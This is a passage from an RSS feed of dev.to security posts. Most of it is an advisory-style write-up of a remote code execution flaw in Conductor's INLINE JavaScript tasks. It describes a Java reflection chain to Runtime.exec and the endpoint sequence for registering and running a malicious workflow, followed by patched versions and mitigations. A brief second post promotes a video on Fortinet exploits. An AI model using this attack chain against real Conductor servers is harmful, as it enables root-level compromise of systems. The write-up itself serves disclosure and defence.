&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fg5kgvcs62cobn6e7f37c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fg5kgvcs62cobn6e7f37c.png" alt=" " width="712" height="84"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reflection Chain — Why It Is Critical&lt;/strong&gt;&lt;br&gt;
An INLINE task binds the task input value to the JavaScript variable $. Since $ is a native Java object, an attacker can leverage Java Reflection starting from this variable to reach arbitrary classes.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb0smy99wdj94mbdm10dy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb0smy99wdj94mbdm10dy.png" alt=" " width="800" height="437"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An attacker reaches the Java Runtime in just four steps from the $ object:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Call getClass() to obtain the java.lang.Class meta-object.&lt;/li&gt;
&lt;li&gt;Load an arbitrary class via Class.forName("java.lang.Runtime").&lt;/li&gt;
&lt;li&gt;Invoke Runtime.getRuntime().exec(...) to execute OS shell commands directly.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Under the HostAccess.ALL policy, this entire chain executes without any restriction.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exploit Flow&lt;/strong&gt;&lt;br&gt;
Public Proof-of-Concept (PoC) exploits complete unauthenticated attacks via three main steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Register Workflow — POST /api/metadata/workflow Embed reflection payload into the 'expression' field of the INLINE task.
                            ↓&lt;/li&gt;
&lt;li&gt;Execute Workflow — POST /api/workflow/{name} GraalVM engine evaluates the script and triggers the payload execution.
                             ↓&lt;/li&gt;
&lt;li&gt;Extract Results — Check stdout in task output Retrieve Runtime.exec execution results returned in the 'result' field.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Verified Impact&lt;/strong&gt;&lt;br&gt;
Based on public PoC repositories, successful exploitation was verified against the vulnerable conductoross/conductor:3.22.3 image, returning uid=0(root). Considering that the Conductor process typically runs with elevated privileges, exploiting this single vulnerability can lead to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Complete compromise of the workflow engine&lt;/li&gt;
&lt;li&gt;Unauthorized access to connected datastores (Redis, PostgreSQL, Elasticsearch, etc.)&lt;/li&gt;
&lt;li&gt;Lateral movement into downstream systems triggered by workflows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Version Differences — Why Patching Was Delayed Until 3.30.2&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;~ 3.29.x: Retained allowHostAccess(HostAccess.ALL) — Completely defenseless.&lt;/li&gt;
&lt;li&gt;3.30.0 ~ 3.30.1: Introduced a blocklist against specific reflection classes — Incomplete patch that remained bypassable.&lt;/li&gt;
&lt;li&gt;3.30.2: Applied allowHostClassLoading(false) + Hardened the core execution engine — Fully patched.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3. Attack Demonstration (Proof of Concept)&lt;/strong&gt;&lt;br&gt;
  &lt;iframe src="https://www.youtube.com/embed/0Yl94lh0Yyc"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Remediation &amp;amp; Mitigation&lt;/strong&gt;&lt;br&gt;
Immediate Action: Upgrade Software&lt;br&gt;
Upgrade to Conductor 3.30.2 or higher. Starting from version 3.30.2, the JavaScript and Python evaluators operate with host access and class loading strictly disabled by default.&lt;/p&gt;

&lt;p&gt;Defense in Depth&lt;br&gt;
To minimize operational risks and protect against similar vectors, implement the following security best practices:&lt;/p&gt;

&lt;p&gt;Enforce Authentication &amp;amp; Access Control: Deploy an authentication gateway (e.g., OAuth 2.0, API Key validation) in front of public/community APIs to restrict unauthorized access.&lt;/p&gt;

&lt;p&gt;Principle of Least Privilege: Run the Conductor application process under a non-root, dedicated service account with minimal permissions rather than elevated privileges.&lt;/p&gt;

&lt;p&gt;Network-Level Segregation: Restrict access to workflow registration and execution endpoints (/api/metadata/workflow, /api/workflow) using network-level ACLs or firewall rules.&lt;/p&gt;

</description>
      <category>cve</category>
      <category>rce</category>
      <category>cwe</category>
    </item>
    <item>
      <title>Are Your Firewalls Safe The FortiBleed &amp; CVE-2025-25257 Threat</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Fri, 03 Jul 2026 02:51:28 +0000</pubDate>
      <link>https://dev.to/guidance_white/are-your-firewalls-safe-the-fortibleed-cve-2025-25257-threat-mjl</link>
      <guid>https://dev.to/guidance_white/are-your-firewalls-safe-the-fortibleed-cve-2025-25257-threat-mjl</guid>
      <description>&lt;p&gt;No login required? The ultimate bypasses for Fortinet firewalls 🔓&lt;br&gt;
From the infamous 'FortiBleed' to the Pre-Auth SQL Injection that shattered FortiWeb (CVE-2025-25257). Watch this 1-minute hands-on lab video to see how these critical exploits actually work. Is your firmware fully patched? Check it now!&lt;/p&gt;


&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/Wc6yrGALHdc"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;


</description>
      <category>cve</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cyber</category>
    </item>
  </channel>
</rss>
